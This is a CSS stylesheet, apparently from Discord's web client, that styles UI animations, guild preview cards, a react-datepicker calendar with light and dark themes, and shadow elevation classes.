.full-motion .translate-2dAEQ6.didRender-33z1u8 { transition: transform 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; transform: translateZ(0px); }

.full-motion .scale-3iLZhb { transform: scale(0.01); opacity: 0; }

.full-motion .scale-3iLZhb.animatorTop-2Y7x2r { transform-origin: center bottom; }

.full-motion .scale-3iLZhb.animatorBottom-fS5rNO { transform-origin: center top; }

.full-motion .scale-3iLZhb.animatorLeft-1EQxU0 { transform-origin: right top; }

.full-motion .scale-3iLZhb.animatorRight-3i_YPs { transform-origin: center top; }

.full-motion .scale-3iLZhb.didRender-33z1u8 { transition: transform 0.12s ease-out 0s, opacity 0.12s ease-out 0s, -webkit-transform 0.12s ease-out 0s; transform: scale(1); opacity: 1; }

.fade-18lLrh { opacity: 0; }

.fade-18lLrh.didRender-33z1u8 { transition: opacity 0.08s ease-out 0s; opacity: 1; }

.container-3D9q6j { padding: 4px 8px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; background-color: var(--background-tertiary); border-radius: 12px; }

.icon-3eRfuZ { margin-right: 4px; color: var(--header-primary); }

.contentContainer-3PlxZg { padding: 16px; }

.contentContainer-3PlxZg, .headerContainer-2_NfMg { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.guildIcon-1c-dym { margin-right: 8px; border-radius: 4px; }

.flexContainerRow-2-Fiia { -webkit-box-align: center; align-items: center; }

.flexContainerRow-2-Fiia, .guildInfoContainer-1lOlkh { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; justify-items: center; }

.guildInfoContainer-1lOlkh { -webkit-box-align: start; align-items: flex-start; }

.speakers-1MkPPJ { margin-top: 12px; }

.topicText-aBIiYQ { font-weight: 600; }

.description-24lEoF, .topicText-aBIiYQ { margin-top: 8px; -webkit-line-clamp: 2; }

.description-24lEoF, .guildName-32rCYa, .topicText-aBIiYQ { overflow: hidden; text-overflow: ellipsis; display: -webkit-box; -webkit-box-orient: vertical; }

.guildName-32rCYa { margin-right: 4px; -webkit-line-clamp: 1; }

.guildName-32rCYa:not(.disabled-2_dYt0):hover { text-decoration: underline; color: var(--header-primary); }

.featuredTag-3Hoygg { padding: 4px 8px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; background-color: var(--brand-experiment); border-radius: 12px; margin-right: 12px; }

.featuredTagText-39yy65 { color: rgb(255, 255, 255); }

.rightJustifiedContent-1oUziN { margin-left: auto; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.footer-1TUtE2, .rightJustifiedContent-1oUziN { display: flex; -webkit-box-align: center; align-items: center; }

.icon-2mojtT { color: var(--header-secondary); margin-right: 4px; }

.divider-3lx7Na { height: 1px; background-color: var(--background-modifier-accent); border: none; margin: 16px -16px 12px; }

.container-3LGFk- { padding-top: 24px; padding-bottom: 24px; }

.header-3wG9rE { text-align: center; }

.subtitle-1CVvN5 { margin-top: 8px; }

.cancelButton-ZdSh8k { margin-right: 8px; }

.backButton-rfyPNn { margin-right: auto; }

.listItemContainer-32vont { margin-top: 24px; margin-left: 16px; margin-right: 16px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.listItemIconContainer-2owYbI { flex-shrink: 0; }

.listItemText-29sr6L { margin-left: 16px; }

.iconContainer-24L2fh { padding: 8px; display: flex; background-color: var(--background-tertiary); color: var(--interactive-normal); border-radius: 50%; }

.badgeIconBackground-3XEsjB { color: var(--background-tertiary); }

.badgeIconForeground-4vowbF { fill: var(--interactive-normal); }

.previewCardContainer-QjFNt5 { -webkit-box-align: center; align-items: center; padding-top: 16px; padding-left: 16px; padding-right: 16px; }

.previewCard-KFE3bt, .previewCardContainer-QjFNt5 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.previewCard-KFE3bt { background-color: var(--background-floating); width: 100%; box-sizing: border-box; border-radius: 8px; border: 1px solid var(--background-modifier-accent); z-index: 3; }

.notificationToggle-2mXjJs { margin-top: 24px; }

.notificationContent-CdL2oV { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.tooltipIcon-37lvsX { margin-left: 4px; color: var(--interactive-active); }

.pill-3rwN5S { padding: 2px 4px; margin-left: 8px; border-radius: 4px; text-transform: uppercase; font-weight: 600; background-color: var(--brand-experiment); color: rgb(255, 255, 255); display: flex; }

.react-datepicker__month-read-view--down-arrow, .react-datepicker__month-year-read-view--down-arrow, .react-datepicker__navigation-icon::before, .react-datepicker__year-read-view--down-arrow { border-color: rgb(204, 204, 204); border-style: solid; border-width: 3px 3px 0px 0px; content: ""; display: block; height: 9px; position: absolute; top: 6px; width: 9px; }

.react-datepicker-popper[data-placement^="bottom"] .react-datepicker__triangle, .react-datepicker-popper[data-placement^="top"] .react-datepicker__triangle { margin-left: -4px; position: absolute; width: 0px; }

.react-datepicker-popper[data-placement^="bottom"] .react-datepicker__triangle::after, .react-datepicker-popper[data-placement^="bottom"] .react-datepicker__triangle::before, .react-datepicker-popper[data-placement^="top"] .react-datepicker__triangle::after, .react-datepicker-popper[data-placement^="top"] .react-datepicker__triangle::before { box-sizing: content-box; position: absolute; height: 0px; width: 1px; content: ""; z-index: -1; border: 8px solid transparent; left: -8px; }

.react-datepicker-popper[data-placement^="bottom"] .react-datepicker__triangle::before, .react-datepicker-popper[data-placement^="top"] .react-datepicker__triangle::before { border-bottom-color: rgb(174, 174, 174); }

.react-datepicker-popper[data-placement^="bottom"] .react-datepicker__triangle { top: 0px; margin-top: -8px; }

.react-datepicker-popper[data-placement^="bottom"] .react-datepicker__triangle::after, .react-datepicker-popper[data-placement^="bottom"] .react-datepicker__triangle::before { border-top: none; border-bottom-color: rgb(240, 240, 240); }

.react-datepicker-popper[data-placement^="bottom"] .react-datepicker__triangle::after { top: 0px; }

.react-datepicker-popper[data-placement^="bottom"] .react-datepicker__triangle::before { top: -1px; border-bottom-color: rgb(174, 174, 174); }

.react-datepicker-popper[data-placement^="top"] .react-datepicker__triangle { bottom: 0px; margin-bottom: -8px; }

.react-datepicker-popper[data-placement^="top"] .react-datepicker__triangle::after, .react-datepicker-popper[data-placement^="top"] .react-datepicker__triangle::before { border-bottom: none; border-top-color: rgb(255, 255, 255); }

.react-datepicker-popper[data-placement^="top"] .react-datepicker__triangle::after { bottom: 0px; }

.react-datepicker-popper[data-placement^="top"] .react-datepicker__triangle::before { bottom: -1px; border-top-color: rgb(174, 174, 174); }

.react-datepicker-wrapper { display: inline-block; padding: 0px; border: 0px; }

.react-datepicker { font-family: "Helvetica Neue", helvetica, arial, sans-serif; font-size: 0.8rem; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); border: 1px solid rgb(174, 174, 174); border-radius: 0.3rem; display: inline-block; position: relative; }

.react-datepicker--time-only .react-datepicker__triangle { left: 35px; }

.react-datepicker--time-only .react-datepicker__time-container { border-left: 0px; }

.react-datepicker--time-only .react-datepicker__time, .react-datepicker--time-only .react-datepicker__time-box { border-bottom-left-radius: 0.3rem; border-bottom-right-radius: 0.3rem; }

.react-datepicker__triangle { position: absolute; left: 50px; }

.react-datepicker-popper { z-index: 1; }

.react-datepicker-popper[data-placement^="bottom"] { padding-top: 10px; }

.react-datepicker-popper[data-placement="bottom-end"] .react-datepicker__triangle, .react-datepicker-popper[data-placement="top-end"] .react-datepicker__triangle { left: auto; right: 50px; }

.react-datepicker-popper[data-placement^="top"] { padding-bottom: 10px; }

.react-datepicker-popper[data-placement^="right"] { padding-left: 8px; }

.react-datepicker-popper[data-placement^="right"] .react-datepicker__triangle { left: auto; right: 42px; }

.react-datepicker-popper[data-placement^="left"] { padding-right: 8px; }

.react-datepicker-popper[data-placement^="left"] .react-datepicker__triangle { left: 42px; right: auto; }

.react-datepicker__header { text-align: center; background-color: rgb(240, 240, 240); border-bottom: 1px solid rgb(174, 174, 174); border-top-left-radius: 0.3rem; padding: 8px 0px; position: relative; }

.react-datepicker__header--time { padding-bottom: 8px; padding-left: 5px; padding-right: 5px; }

.react-datepicker__header--time:not(.react-datepicker__header--time--only) { border-top-left-radius: 0px; }

.react-datepicker__header:not(.react-datepicker__header--has-time-select) { border-top-right-radius: 0.3rem; }

.react-datepicker__month-dropdown-container--scroll, .react-datepicker__month-dropdown-container--select, .react-datepicker__month-year-dropdown-container--scroll, .react-datepicker__month-year-dropdown-container--select, .react-datepicker__year-dropdown-container--scroll, .react-datepicker__year-dropdown-container--select { display: inline-block; margin: 0px 2px; }

.react-datepicker-time__header, .react-datepicker-year-header, .react-datepicker__current-month { margin-top: 0px; color: rgb(0, 0, 0); font-weight: 700; font-size: 0.944rem; }

.react-datepicker-time__header { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; }

.react-datepicker__navigation { -webkit-box-align: center; align-items: center; background: none; display: flex; -webkit-box-pack: center; justify-content: center; text-align: center; cursor: pointer; position: absolute; top: 2px; padding: 0px; border: none; z-index: 1; height: 32px; width: 32px; text-indent: -999em; overflow: hidden; }

.react-datepicker__navigation--previous { left: 2px; }

.react-datepicker__navigation--next { right: 2px; }

.react-datepicker__navigation--next--with-time:not(.react-datepicker__navigation--next--with-today-button) { right: 85px; }

.react-datepicker__navigation--years { position: relative; top: 0px; display: block; margin-left: auto; margin-right: auto; }

.react-datepicker__navigation--years-previous { top: 4px; }

.react-datepicker__navigation--years-upcoming { top: -4px; }

.react-datepicker__navigation:hover ::before { border-color: rgb(166, 166, 166); }

.react-datepicker__navigation-icon { position: relative; top: -1px; font-size: 20px; }

.react-datepicker__navigation-icon--next { left: -2px; }

.react-datepicker__navigation-icon--next::before { transform: rotate(45deg); left: -7px; }

.react-datepicker__navigation-icon--previous { right: -2px; }

.react-datepicker__navigation-icon--previous::before { transform: rotate(225deg); right: -7px; }

.react-datepicker__month-container { float: left; }

.react-datepicker__year { margin: 0.4rem; text-align: center; }

.react-datepicker__year-wrapper { display: flex; flex-wrap: wrap; max-width: 180px; }

.react-datepicker__year .react-datepicker__year-text { display: inline-block; width: 4rem; margin: 2px; }

.react-datepicker__month { margin: 0.4rem; text-align: center; }

.react-datepicker__month .react-datepicker__month-text, .react-datepicker__month .react-datepicker__quarter-text { display: inline-block; width: 4rem; margin: 2px; }

.react-datepicker__input-time-container { clear: both; width: 100%; float: left; margin: 5px 0px 10px 15px; text-align: left; }

.react-datepicker__input-time-container .react-datepicker-time__caption, .react-datepicker__input-time-container .react-datepicker-time__input-container { display: inline-block; }

.react-datepicker__input-time-container .react-datepicker-time__input-container .react-datepicker-time__input { display: inline-block; margin-left: 10px; }

.react-datepicker__input-time-container .react-datepicker-time__input-container .react-datepicker-time__input input { width: auto; }

.react-datepicker__input-time-container .react-datepicker-time__input-container .react-datepicker-time__input input[type="time"]::-webkit-inner-spin-button, .react-datepicker__input-time-container .react-datepicker-time__input-container .react-datepicker-time__input input[type="time"]::-webkit-outer-spin-button { appearance: none; margin: 0px; }

.react-datepicker__input-time-container .react-datepicker-time__input-container .react-datepicker-time__input input[type="time"] { }

.react-datepicker__input-time-container .react-datepicker-time__input-container .react-datepicker-time__delimiter { margin-left: 5px; display: inline-block; }

.react-datepicker__time-container { float: right; border-left: 1px solid rgb(174, 174, 174); width: 85px; }

.react-datepicker__time-container--with-today-button { display: inline; border: 1px solid rgb(174, 174, 174); border-radius: 0.3rem; position: absolute; right: -72px; top: 0px; }

.react-datepicker__time-container .react-datepicker__time { position: relative; background: rgb(255, 255, 255); border-bottom-right-radius: 0.3rem; }

.react-datepicker__time-container .react-datepicker__time .react-datepicker__time-box { width: 85px; overflow-x: hidden; margin: 0px auto; text-align: center; border-bottom-right-radius: 0.3rem; }

.react-datepicker__time-container .react-datepicker__time .react-datepicker__time-box ul.react-datepicker__time-list { list-style: none; margin: 0px; height: calc(195px + 0.85rem); overflow-y: scroll; padding-right: 0px; padding-left: 0px; width: 100%; box-sizing: content-box; }

.react-datepicker__time-container .react-datepicker__time .react-datepicker__time-box ul.react-datepicker__time-list li.react-datepicker__time-list-item { height: 30px; padding: 5px 10px; white-space: nowrap; }

.react-datepicker__time-container .react-datepicker__time .react-datepicker__time-box ul.react-datepicker__time-list li.react-datepicker__time-list-item:hover { cursor: pointer; background-color: rgb(240, 240, 240); }

.react-datepicker__time-container .react-datepicker__time .react-datepicker__time-box ul.react-datepicker__time-list li.react-datepicker__time-list-item--selected { background-color: rgb(33, 107, 165); color: rgb(255, 255, 255); font-weight: 700; }

.react-datepicker__time-container .react-datepicker__time .react-datepicker__time-box ul.react-datepicker__time-list li.react-datepicker__time-list-item--selected:hover { background-color: rgb(33, 107, 165); }

.react-datepicker__time-container .react-datepicker__time .react-datepicker__time-box ul.react-datepicker__time-list li.react-datepicker__time-list-item--disabled { color: rgb(204, 204, 204); }

.react-datepicker__time-container .react-datepicker__time .react-datepicker__time-box ul.react-datepicker__time-list li.react-datepicker__time-list-item--disabled:hover { cursor: default; background-color: transparent; }

.react-datepicker__week-number { color: rgb(204, 204, 204); display: inline-block; width: 1.7rem; line-height: 1.7rem; text-align: center; margin: 0.166rem; }

.react-datepicker__week-number.react-datepicker__week-number--clickable { cursor: pointer; }

.react-datepicker__week-number.react-datepicker__week-number--clickable:hover { border-radius: 0.3rem; background-color: rgb(240, 240, 240); }

.react-datepicker__day-names, .react-datepicker__week { white-space: nowrap; }

.react-datepicker__day-names { margin-bottom: -8px; }

.react-datepicker__day, .react-datepicker__day-name, .react-datepicker__time-name { color: rgb(0, 0, 0); display: inline-block; width: 1.7rem; line-height: 1.7rem; text-align: center; margin: 0.166rem; }

.react-datepicker__month--in-range, .react-datepicker__month--in-selecting-range, .react-datepicker__month--selected, .react-datepicker__quarter--in-range, .react-datepicker__quarter--in-selecting-range, .react-datepicker__quarter--selected { border-radius: 0.3rem; background-color: rgb(33, 107, 165); color: rgb(255, 255, 255); }

.react-datepicker__month--in-range:hover, .react-datepicker__month--in-selecting-range:hover, .react-datepicker__month--selected:hover, .react-datepicker__quarter--in-range:hover, .react-datepicker__quarter--in-selecting-range:hover, .react-datepicker__quarter--selected:hover { background-color: rgb(29, 93, 144); }

.react-datepicker__month--disabled, .react-datepicker__quarter--disabled { color: rgb(204, 204, 204); pointer-events: none; }

.react-datepicker__month--disabled:hover, .react-datepicker__quarter--disabled:hover { cursor: default; background-color: transparent; }

.react-datepicker__day, .react-datepicker__month-text, .react-datepicker__quarter-text, .react-datepicker__year-text { cursor: pointer; }

.react-datepicker__day:hover, .react-datepicker__month-text:hover, .react-datepicker__quarter-text:hover, .react-datepicker__year-text:hover { border-radius: 0.3rem; background-color: rgb(240, 240, 240); }

.react-datepicker__day--today, .react-datepicker__month-text--today, .react-datepicker__quarter-text--today, .react-datepicker__year-text--today { font-weight: 700; }

.react-datepicker__day--highlighted, .react-datepicker__month-text--highlighted, .react-datepicker__quarter-text--highlighted, .react-datepicker__year-text--highlighted { border-radius: 0.3rem; background-color: rgb(61, 204, 74); color: rgb(255, 255, 255); }

.react-datepicker__day--highlighted:hover, .react-datepicker__month-text--highlighted:hover, .react-datepicker__quarter-text--highlighted:hover, .react-datepicker__year-text--highlighted:hover { background-color: rgb(50, 190, 63); }

.react-datepicker__day--highlighted-custom-1, .react-datepicker__month-text--highlighted-custom-1, .react-datepicker__quarter-text--highlighted-custom-1, .react-datepicker__year-text--highlighted-custom-1 { color: rgb(255, 0, 255); }

.react-datepicker__day--highlighted-custom-2, .react-datepicker__month-text--highlighted-custom-2, .react-datepicker__quarter-text--highlighted-custom-2, .react-datepicker__year-text--highlighted-custom-2 { color: green; }

.react-datepicker__day--in-range, .react-datepicker__day--in-selecting-range, .react-datepicker__day--selected, .react-datepicker__month-text--in-range, .react-datepicker__month-text--in-selecting-range, .react-datepicker__month-text--selected, .react-datepicker__quarter-text--in-range, .react-datepicker__quarter-text--in-selecting-range, .react-datepicker__quarter-text--selected, .react-datepicker__year-text--in-range, .react-datepicker__year-text--in-selecting-range, .react-datepicker__year-text--selected { border-radius: 0.3rem; background-color: rgb(33, 107, 165); color: rgb(255, 255, 255); }

.react-datepicker__day--in-range:hover, .react-datepicker__day--in-selecting-range:hover, .react-datepicker__day--selected:hover, .react-datepicker__month-text--in-range:hover, .react-datepicker__month-text--in-selecting-range:hover, .react-datepicker__month-text--selected:hover, .react-datepicker__quarter-text--in-range:hover, .react-datepicker__quarter-text--in-selecting-range:hover, .react-datepicker__quarter-text--selected:hover, .react-datepicker__year-text--in-range:hover, .react-datepicker__year-text--in-selecting-range:hover, .react-datepicker__year-text--selected:hover { background-color: rgb(29, 93, 144); }

.react-datepicker__day--keyboard-selected, .react-datepicker__month-text--keyboard-selected, .react-datepicker__quarter-text--keyboard-selected, .react-datepicker__year-text--keyboard-selected { border-radius: 0.3rem; background-color: rgb(42, 135, 208); color: rgb(255, 255, 255); }

.react-datepicker__day--keyboard-selected:hover, .react-datepicker__month-text--keyboard-selected:hover, .react-datepicker__quarter-text--keyboard-selected:hover, .react-datepicker__year-text--keyboard-selected:hover { background-color: rgb(29, 93, 144); }

.react-datepicker__day--in-selecting-range, .react-datepicker__month-text--in-selecting-range, .react-datepicker__quarter-text--in-selecting-range, .react-datepicker__year-text--in-selecting-range { background-color: rgba(33, 107, 165, 0.5); }

.react-datepicker__month--selecting-range .react-datepicker__day--in-range, .react-datepicker__month--selecting-range .react-datepicker__month-text--in-range, .react-datepicker__month--selecting-range .react-datepicker__quarter-text--in-range, .react-datepicker__month--selecting-range .react-datepicker__year-text--in-range { background-color: rgb(240, 240, 240); color: rgb(0, 0, 0); }

.react-datepicker__day--disabled, .react-datepicker__month-text--disabled, .react-datepicker__quarter-text--disabled, .react-datepicker__year-text--disabled { cursor: default; color: rgb(204, 204, 204); }

.react-datepicker__day--disabled:hover, .react-datepicker__month-text--disabled:hover, .react-datepicker__quarter-text--disabled:hover, .react-datepicker__year-text--disabled:hover { background-color: transparent; }

.react-datepicker__month-text.react-datepicker__month--in-range:hover, .react-datepicker__month-text.react-datepicker__month--selected:hover, .react-datepicker__month-text.react-datepicker__quarter--in-range:hover, .react-datepicker__month-text.react-datepicker__quarter--selected:hover, .react-datepicker__quarter-text.react-datepicker__month--in-range:hover, .react-datepicker__quarter-text.react-datepicker__month--selected:hover, .react-datepicker__quarter-text.react-datepicker__quarter--in-range:hover, .react-datepicker__quarter-text.react-datepicker__quarter--selected:hover { background-color: rgb(33, 107, 165); }

.react-datepicker__month-text:hover, .react-datepicker__quarter-text:hover { background-color: rgb(240, 240, 240); }

.react-datepicker__input-container { position: relative; display: inline-block; width: 100%; }

.react-datepicker__month-read-view, .react-datepicker__month-year-read-view, .react-datepicker__year-read-view { border: 1px solid transparent; border-radius: 0.3rem; position: relative; }

.react-datepicker__month-read-view:hover, .react-datepicker__month-year-read-view:hover, .react-datepicker__year-read-view:hover { cursor: pointer; }

.react-datepicker__month-read-view:hover .react-datepicker__month-read-view--down-arrow, .react-datepicker__month-read-view:hover .react-datepicker__year-read-view--down-arrow, .react-datepicker__month-year-read-view:hover .react-datepicker__month-read-view--down-arrow, .react-datepicker__month-year-read-view:hover .react-datepicker__year-read-view--down-arrow, .react-datepicker__year-read-view:hover .react-datepicker__month-read-view--down-arrow, .react-datepicker__year-read-view:hover .react-datepicker__year-read-view--down-arrow { border-top-color: rgb(179, 179, 179); }

.react-datepicker__month-read-view--down-arrow, .react-datepicker__month-year-read-view--down-arrow, .react-datepicker__year-read-view--down-arrow { transform: rotate(135deg); right: -16px; top: 0px; }

.react-datepicker__month-dropdown, .react-datepicker__month-year-dropdown, .react-datepicker__year-dropdown { background-color: rgb(240, 240, 240); position: absolute; width: 50%; left: 25%; top: 30px; z-index: 1; text-align: center; border-radius: 0.3rem; border: 1px solid rgb(174, 174, 174); }

.react-datepicker__month-dropdown:hover, .react-datepicker__month-year-dropdown:hover, .react-datepicker__year-dropdown:hover { cursor: pointer; }

.react-datepicker__month-dropdown--scrollable, .react-datepicker__month-year-dropdown--scrollable, .react-datepicker__year-dropdown--scrollable { height: 150px; overflow-y: scroll; }

.react-datepicker__month-option, .react-datepicker__month-year-option, .react-datepicker__year-option { line-height: 20px; width: 100%; display: block; margin-left: auto; margin-right: auto; }

.react-datepicker__month-option:first-of-type, .react-datepicker__month-year-option:first-of-type, .react-datepicker__year-option:first-of-type { border-top-left-radius: 0.3rem; border-top-right-radius: 0.3rem; }

.react-datepicker__month-option:last-of-type, .react-datepicker__month-year-option:last-of-type, .react-datepicker__year-option:last-of-type { user-select: none; border-bottom-left-radius: 0.3rem; border-bottom-right-radius: 0.3rem; }

.react-datepicker__month-option:hover, .react-datepicker__month-year-option:hover, .react-datepicker__year-option:hover { background-color: rgb(204, 204, 204); }

.react-datepicker__month-option:hover .react-datepicker__navigation--years-upcoming, .react-datepicker__month-year-option:hover .react-datepicker__navigation--years-upcoming, .react-datepicker__year-option:hover .react-datepicker__navigation--years-upcoming { border-bottom-color: rgb(179, 179, 179); }

.react-datepicker__month-option:hover .react-datepicker__navigation--years-previous, .react-datepicker__month-year-option:hover .react-datepicker__navigation--years-previous, .react-datepicker__year-option:hover .react-datepicker__navigation--years-previous { border-top-color: rgb(179, 179, 179); }

.react-datepicker__month-option--selected, .react-datepicker__month-year-option--selected, .react-datepicker__year-option--selected { position: absolute; left: 15px; }

.react-datepicker__close-icon { cursor: pointer; background-color: transparent; border: 0px; outline: 0px; padding: 0px 6px 0px 0px; position: absolute; top: 0px; right: 0px; height: 100%; display: table-cell; vertical-align: middle; }

.react-datepicker__close-icon::after { cursor: pointer; background-color: rgb(33, 107, 165); color: rgb(255, 255, 255); border-radius: 50%; height: 16px; width: 16px; padding: 2px; font-size: 12px; line-height: 1; text-align: center; display: table-cell; vertical-align: middle; content: "×"; }

.react-datepicker__today-button { background: rgb(240, 240, 240); border-top: 1px solid rgb(174, 174, 174); cursor: pointer; text-align: center; font-weight: 700; padding: 5px 0px; clear: left; }

.react-datepicker__portal { position: fixed; width: 100vw; height: 100vh; background-color: rgba(0, 0, 0, 0.8); left: 0px; top: 0px; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; display: flex; z-index: 2147483647; }

.react-datepicker__portal .react-datepicker__day, .react-datepicker__portal .react-datepicker__day-name, .react-datepicker__portal .react-datepicker__time-name { width: 3rem; line-height: 3rem; }

@media (max-height: 550px), (max-width: 400px) {
  .react-datepicker__portal .react-datepicker__day, .react-datepicker__portal .react-datepicker__day-name, .react-datepicker__portal .react-datepicker__time-name { width: 2rem; line-height: 2rem; }
}

.react-datepicker__portal .react-datepicker-time__header, .react-datepicker__portal .react-datepicker__current-month { font-size: 1.44rem; }

.calendarPicker-2yf6Ci .react-datepicker { border: none; padding: 20px; font-family: var(--font-primary); }

.calendarPicker-2yf6Ci .react-datepicker__header { padding-top: 0px; border-bottom: 0px; }

.calendarPicker-2yf6Ci .react-datepicker__current-month { margin: 0px 0px 10px; padding: 0px 0px 20px; border-bottom: 1px solid; font-size: 13px; line-height: 20px; font-weight: 600; text-transform: uppercase; }

.calendarPicker-2yf6Ci .react-datepicker__navigation.react-datepicker__navigation--next, .calendarPicker-2yf6Ci .react-datepicker__navigation.react-datepicker__navigation--previous { top: 20px; left: 20px; width: 18px; height: 18px; border: 1px solid; border-radius: 2px; background-repeat: no-repeat; background-size: 6px 12px; background-position: 50% center; transform: rotate(180deg); }

.calendarPicker-2yf6Ci .react-datepicker__navigation.react-datepicker__navigation--next.react-datepicker__navigation--next, .calendarPicker-2yf6Ci .react-datepicker__navigation.react-datepicker__navigation--previous.react-datepicker__navigation--next { left: auto; right: 20px; transform: rotate(0deg); }

.calendarPicker-2yf6Ci .react-datepicker__navigation.react-datepicker__navigation--next:focus-visible, .calendarPicker-2yf6Ci .react-datepicker__navigation.react-datepicker__navigation--previous:focus-visible { box-shadow: 0 0 0 4px var(--focus-primary); }

.calendarPicker-2yf6Ci .react-datepicker__navigation-icon::before { border-width: 0px; }

.calendarPicker-2yf6Ci .react-datepicker__month { margin: 0px; }

.calendarPicker-2yf6Ci .react-datepicker__week:first-of-type > .react-datepicker__day:first-of-type { border-radius: 3px 0px 0px; }

.calendarPicker-2yf6Ci .react-datepicker__week:first-of-type > .react-datepicker__day:last-of-type { border-radius: 0px 3px 0px 0px; }

.calendarPicker-2yf6Ci .react-datepicker__week:last-of-type > .react-datepicker__day { border-bottom: 1px solid rgb(220, 221, 222); }

.calendarPicker-2yf6Ci .react-datepicker__week:last-of-type > .react-datepicker__day:first-of-type { border-radius: 0px 0px 0px 3px; }

.calendarPicker-2yf6Ci .react-datepicker__week:last-of-type > .react-datepicker__day:last-of-type { border-radius: 0px 0px 3px; }

.calendarPicker-2yf6Ci .react-datepicker__week > .react-datepicker__day:last-of-type { border-right: 1px solid; }

.calendarPicker-2yf6Ci .react-datepicker__day-names { margin-bottom: 10px; }

.calendarPicker-2yf6Ci .react-datepicker__day-name { width: 40px; font-size: 13px; font-weight: 500; line-height: 1em; text-transform: uppercase; margin: 0px; }

.calendarPicker-2yf6Ci .react-datepicker__day { position: relative; box-sizing: border-box; margin: 0px; width: 40px; height: 40px; line-height: 40px; border-top: 1px solid var(--deprecated-text-input-border-disabled); border-left: 1px solid var(--deprecated-text-input-border-disabled); }

.calendarPicker-2yf6Ci .react-datepicker__day.react-datepicker__day--keyboard-selected, .calendarPicker-2yf6Ci .react-datepicker__day.react-datepicker__day--selected:hover, .calendarPicker-2yf6Ci .react-datepicker__day:hover { border-radius: 0px; color: rgb(255, 255, 255); background-color: var(--brand-experiment); }

.calendarPicker-2yf6Ci .react-datepicker__day.react-datepicker__day--selected { background: none; border-radius: 0px; }

.calendarPicker-2yf6Ci .react-datepicker__day.react-datepicker__day--selected::after { content: ""; position: absolute; bottom: 0px; left: 0px; width: 100%; height: 3px; background-color: var(--brand-experiment); }

.calendarPicker-2yf6Ci .react-datepicker__day:focus-visible { border: 1px solid var(--focus-primary); }

.calendarPicker-2yf6Ci .react-datepicker__day--disabled, .calendarPicker-2yf6Ci .react-datepicker__day--outside-month { font-weight: 500; }

.theme-light .calendarPicker-2yf6Ci .react-datepicker { background-color: rgb(255, 255, 255); }

.theme-light .calendarPicker-2yf6Ci .react-datepicker__header { background-color: rgb(255, 255, 255); border-color: rgba(220, 221, 222, 0.2); }

.theme-light .calendarPicker-2yf6Ci .react-datepicker__current-month { border-bottom-color: rgba(220, 221, 222, 0.2); color: rgb(79, 84, 92); }

.theme-light .calendarPicker-2yf6Ci .react-datepicker__navigation.react-datepicker__navigation--next, .theme-light .calendarPicker-2yf6Ci .react-datepicker__navigation.react-datepicker__navigation--previous { border-color: rgb(220, 221, 222); background-image: url("https://discord.com/assets/0fce6d7622d8173fcee0397634bff5b5.svg"); }

.theme-light .calendarPicker-2yf6Ci .react-datepicker__week:last-of-type .react-datepicker__day { border-bottom-color: rgb(220, 221, 222); }

.theme-light .calendarPicker-2yf6Ci .react-datepicker__week .react-datepicker__day:last-of-type { border-right-color: rgb(220, 221, 222); }

.theme-light .calendarPicker-2yf6Ci .react-datepicker__day-name { color: rgba(79, 84, 92, 0.6); }

.theme-light .calendarPicker-2yf6Ci .react-datepicker__day { color: rgb(79, 84, 92); }

.theme-light .calendarPicker-2yf6Ci .react-datepicker__day.react-datepicker__day--disabled, .theme-light .calendarPicker-2yf6Ci .react-datepicker__day.react-datepicker__day--disabled:hover { background-color: rgba(0, 0, 0, 0.05); color: rgba(0, 0, 0, 0.2); }

.theme-light .calendarPicker-2yf6Ci .react-datepicker__day--disabled, .theme-light .calendarPicker-2yf6Ci .react-datepicker__day--outside-month { background-color: rgb(246, 246, 247); color: rgba(79, 84, 92, 0.3); }

.theme-dark .calendarPicker-2yf6Ci .react-datepicker { background-color: rgb(54, 57, 63); }

.theme-dark .calendarPicker-2yf6Ci .react-datepicker__header { background-color: rgb(54, 57, 63); border-color: rgba(24, 25, 28, 0.2); }

.theme-dark .calendarPicker-2yf6Ci .react-datepicker__current-month { border-bottom-color: rgba(24, 25, 28, 0.3); color: rgb(246, 246, 247); }

.theme-dark .calendarPicker-2yf6Ci .react-datepicker__navigation.react-datepicker__navigation--next, .theme-dark .calendarPicker-2yf6Ci .react-datepicker__navigation.react-datepicker__navigation--previous { border-color: rgb(24, 25, 28); background-image: url("https://discord.com/assets/7619529e87dad31fd2ae83d9b9583e49.svg"); }

.theme-dark .calendarPicker-2yf6Ci .react-datepicker__week:last-of-type .react-datepicker__day { border-bottom-color: rgb(24, 25, 28); }

.theme-dark .calendarPicker-2yf6Ci .react-datepicker__week .react-datepicker__day:last-of-type { border-right-color: rgb(24, 25, 28); }

.theme-dark .calendarPicker-2yf6Ci .react-datepicker__day-name { color: rgba(246, 246, 247, 0.6); }

.theme-dark .calendarPicker-2yf6Ci .react-datepicker__day { color: rgb(246, 246, 247); }

.theme-dark .calendarPicker-2yf6Ci .react-datepicker__day--disabled, .theme-dark .calendarPicker-2yf6Ci .react-datepicker__day--outside-month, .theme-dark .calendarPicker-2yf6Ci .react-datepicker__day.react-datepicker__day--disabled, .theme-dark .calendarPicker-2yf6Ci .react-datepicker__day.react-datepicker__day--disabled:hover { background-color: rgb(47, 49, 54); color: rgba(246, 246, 247, 0.3); }

.darkElevationLow-DABD7i { box-shadow: rgba(0, 0, 0, 0.3) 0px 1px 5px 0px; }

.darkElevationHigh-6iWpWi { box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.darkElevationBorderLow-39dDV7 { box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.3) 0px 1px 5px 0px; }

